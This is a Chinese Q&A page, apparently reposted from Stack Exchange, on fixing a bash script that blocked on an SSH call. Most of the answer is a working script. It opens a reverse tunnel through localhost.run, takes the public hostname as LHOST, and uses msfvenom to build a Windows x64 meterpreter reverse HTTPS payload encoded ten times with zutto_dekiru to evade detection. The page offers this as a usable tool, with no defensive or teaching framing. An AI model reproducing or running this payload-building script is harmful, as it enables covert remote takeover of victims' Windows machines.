You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何从其他命令输出提取变量,保持原命令运行并执行msfvenom?

解决SSH命令阻塞脚本并同时执行msfvenom的问题

你的脚本现在用$(...)捕获ssh命令的输出,这种写法会等命令彻底跑完才往下执行,但localhost.run的SSH会话是长期挂着的反向代理,所以脚本直接卡在这里不动了。要让SSH在后台保持运行,同时正常执行msfvenom,得调整输出捕获和后台运行的方式:

修改后的脚本如下:

#!/bin/bash

# 用临时文件存ssh的输出内容
ssh_log="/tmp/localhost_run.log"

# 让ssh后台运行,把所有输出写到临时文件,不阻塞脚本后续执行
ssh -f -R 80:localhost.run:80 localhost.run > "$ssh_log" 2>&1

# 等3秒给localhost.run初始化生成域名,时间可以根据实际情况调
sleep 3

# 从日志里提取第23行,只留第一个空格前的内容
line_23=$(sed -n '23s/ .*//p' "$ssh_log")
echo "$line_23" > line_23.txt 
LHOST_value="$line_23"

# 构造msfvenom命令并在新终端执行
msfvenom_command="msfvenom -p windows/x64/meterpreter_reverse_https -e x64/zutto_dekiru -i 10 -f raw LHOST=$LHOST_value LPORT=80 HandlerSSLCert=/home/jeremy/Desktop/msf/cert.pem -o Bitch.bin"

gnome-terminal -- bash -c "$msfvenom_command"

关键调整点:

  • 把$(...)捕获输出改成后台运行ssh并将输出写入临时文件,避免脚本被阻塞。
  • 加sleep 3是给localhost.run足够时间生成域名,确保能正确提取到需要的内容,要是你的环境初始化慢,就把时间改长点。
  • 去掉了原脚本里多余的转义引号,脚本里直接用双引号包变量就行,不用额外转义。

内容的提问来源于stack exchange,提问作者Soggy Suck

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.10 05:37:09